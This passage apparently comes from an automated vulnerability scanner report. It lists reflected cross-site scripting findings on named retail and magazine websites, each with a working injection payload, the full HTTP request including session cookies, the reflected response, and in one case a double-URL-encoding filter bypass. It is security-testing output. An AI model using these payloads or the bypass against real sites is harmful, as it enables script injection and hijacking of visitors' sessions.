Set-Cookie: WC_GENERIC_ACTIVITYDATA=[37066482%3atrue%3afalse%3a0%3ag4LGdK9WpUCwZWNPjhiqSEzR29A%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; Path=/
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 9255

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following error has occurred during processing: "For input string: "10002e0242<img src=a onerror=alert(1)>c2e386a0f39"".</TD>
...[SNIP]...

2.1005. http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/StoreCatalogDisplay

Issue detail

The value of the langId request parameter is copied into an HTML comment. The payload 91edb--><img%20src%3da%20onerror%3dalert(1)>ae4cb6b2a8a was submitted in the langId parameter. This input was echoed as 91edb--><img src=a onerror=alert(1)>ae4cb6b2a8a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/StoreCatalogDisplay?langId=-191edb--><img%20src%3da%20onerror%3dalert(1)>ae4cb6b2a8a&catalogId=10002&storeId=10051&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:31 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20507

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-191edb--><img src=a onerror=alert(1)>ae4cb6b2a8a&storeId=10051&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.1006. http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/StoreCatalogDisplay

Issue detail

The value of the langId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b771a"><img%20src%3da%20onerror%3dalert(1)>686a6027a5e was submitted in the langId parameter. This input was echoed as b771a"><img src=a onerror=alert(1)>686a6027a5e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/StoreCatalogDisplay?langId=-1b771a"><img%20src%3da%20onerror%3dalert(1)>686a6027a5e&catalogId=10002&storeId=10051&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:28 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20791

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="LogonForm?langId=-1b771a"><img src=a onerror=alert(1)>686a6027a5e&storeId=10051&catalogId=10002&nav_wt=header" style="color: #CCCC99">
...[SNIP]...

2.1007. http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/StoreCatalogDisplay

Issue detail

The value of the langId request parameter is copied into the HTML document as plain text between tags. The payload ca640<img%20src%3da%20onerror%3dalert(1)>7fb6b1d5c99 was submitted in the langId parameter. This input was echoed as ca640<img src=a onerror=alert(1)>7fb6b1d5c99 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/StoreCatalogDisplay?langId=-1ca640<img%20src%3da%20onerror%3dalert(1)>7fb6b1d5c99&catalogId=10002&storeId=10051&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:30 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20435

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>Generic Error</title>
   <link rel=stylesheet href="/wc
...[SNIP]...
<select name="currency">
               Exception:java.lang.NumberFormatException: For input string: "-1ca640<img src=a onerror=alert(1)>7fb6b1d5c99"

   </td>
...[SNIP]...

2.1008. http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/StoreCatalogDisplay

Issue detail

The value of the storeId request parameter is copied into an HTML comment. The payload 5a6c6--><img%20src%3da%20onerror%3dalert(1)>59d32dd2b9e was submitted in the storeId parameter. This input was echoed as 5a6c6--><img src=a onerror=alert(1)>59d32dd2b9e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=100515a6c6--><img%20src%3da%20onerror%3dalert(1)>59d32dd2b9e&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:19 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23466

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1&storeId=100515a6c6--><img src=a onerror=alert(1)>59d32dd2b9e&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.1009. http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/StoreCatalogDisplay

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f3b6"><img%20src%3da%20onerror%3dalert(1)>08c31df8358 was submitted in the storeId parameter. This input was echoed as 7f3b6"><img src=a onerror=alert(1)>08c31df8358 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=100517f3b6"><img%20src%3da%20onerror%3dalert(1)>08c31df8358&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:33 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23438

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=100517f3b6"><img src=a onerror=alert(1)>08c31df8358&nav_wt=header">
...[SNIP]...

2.1010. http://www.rodalestore.com/webapp/wcs/stores/servlet/a [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/a

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 8815a<img%20src%3da%20onerror%3dalert(1)>a1779b48e0f was submitted in the REST URL parameter 5. This input was echoed as 8815a<img src=a onerror=alert(1)>a1779b48e0f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/a8815a<img%20src%3da%20onerror%3dalert(1)>a1779b48e0f HTTP/1.1
Host: www.rodalestore.com
Proxy-Connection: keep-alive
Referer: http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay65260--%3E%3Cimg%20src%3da%20onerror%3dalert(1)%3E8f67b284d8d?langId=-1&storeId=10051&catalogId=10002&orderId=*&nav_wt=header
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=000010bkAoW0YCOPg4HjISN3buc:145kqmq3s; referURL=http%3A//burp/show/5; __utmz=216382869.1299795714.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; __utma=216382869.1807155490.1299775175.1299775175.1299795714.2; __utmc=216382869; __utmb=216382869.1.10.1299795714

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 22:21:10 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2221

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>Command not found: "a8815a<img src=a onerror=alert(1)>a1779b48e0f".</TD>
...[SNIP]...

2.1011. http://www.runnersworld.com/community/persona/index.jsp [UID parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/community/persona/index.jsp

Issue detail

The value of the UID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7dfcc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed72f7acebfa was submitted in the UID parameter. This input was echoed as 7dfcc"><script>alert(1)</script>d72f7acebfa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Request

GET /community/persona/index.jsp?UID=7dfcc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed72f7acebfa HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html
Expires: Thu, 10 Mar 2011 17:21:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:21:36 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=E4A0D17151571165392B8581D146D4D1; Path=/community
Content-Length: 66945

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:pas="http://sitelife.r
...[SNIP]...
<div id="pluck_persona_602923" class="pluck-app pluck-user-persona pluck-persona-main-wrap" userKey="7dfcc"><script>alert(1)</script>d72f7acebfa" pagerefresh="false" isfriendsmode="1" style="display:none;">
...[SNIP]...

2.1012. http://www.runnersworld.com/community/persona/index.jsp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/community/persona/index.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e7b9"><script>alert(1)</script>aea54fcfdce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /community/persona/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScript&plckElementId=personaDest\&1e7b9"><script>alert(1)</script>aea54fcfdce=1 HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html
Expires: Thu, 10 Mar 2011 17:24:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:24:12 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=3637E5B531401C5DDDFC944525B64AD9; Path=/community
Content-Length: 209983

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:pas="http://sitelife.r
...[SNIP]...
lckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScript&plckElementId=personaDest\&1e7b9"><script>alert(1)</script>aea54fcfdce=1"/>
...[SNIP]...

2.1013. http://www.runnersworld.com/community/persona/index.jsp [plckController parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/community/persona/index.jsp

Issue detail

The value of the plckController request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 530b3"><script>alert(1)</script>9c320c557d3 was submitted in the plckController parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /community/persona/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog530b3"><script>alert(1)</script>9c320c557d3&plckScript=personaScript&plckElementId=personaDest\ HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html
Expires: Thu, 10 Mar 2011 17:22:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:22:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=68D9EA6CBE1B7AF263FAFC275A38E64F; Path=/community
Content-Length: 202265

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:pas="http://sitelife.r
...[SNIP]...
d.com:80/community/persona/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog530b3"><script>alert(1)</script>9c320c557d3&plckScript=personaScript&plckElementId=personaDest\"/>
...[SNIP]...

2.1014. http://www.runnersworld.com/community/persona/index.jsp [plckElementId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/community/persona/index.jsp

Issue detail

The value of the plckElementId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b663"><script>alert(1)</script>8d424413273 was submitted in the plckElementId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /community/persona/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScript&plckElementId=personaDest\6b663"><script>alert(1)</script>8d424413273 HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html
Expires: Thu, 10 Mar 2011 17:23:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:23:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=1A995DB31982C9222977018722447733; Path=/community
Content-Length: 206144

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:pas="http://sitelife.r
...[SNIP]...
plckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScript&plckElementId=personaDest\6b663"><script>alert(1)</script>8d424413273"/>
...[SNIP]...

2.1015. http://www.runnersworld.com/community/persona/index.jsp [plckScript parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.runnersworld.com
Path:	/community/persona/index.jsp

Issue detail

The value of the plckScript request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adabb"><script>alert(1)</script>db925747ca was submitted in the plckScript parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /community/persona/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScriptadabb"><script>alert(1)</script>db925747ca&plckElementId=personaDest\ HTTP/1.1
Host: www.runnersworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: anonId=635454a7-3473-4668-b2a6-76c69938e6e8; _chartbeat2=9knxvtinyiy5o2hc; __utmz=4781232.1299775227.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cmTPSet=Y; __utma=4781232.313014460.1299775227.1299775227.1299775227.1; SiteLifeHost=l3vm238l3pluckcom; __utmc=4781232; __qca=P0-1134300690-1299775227663; __utmb=4781232.1.10.1299775227;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html
Expires: Thu, 10 Mar 2011 17:23:15 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:23:15 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=382F6A58C5B1A6B17A9E09CC3B42388B; Path=/community
Content-Length: 209943

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:pas="http://sitelife.r
...[SNIP]...
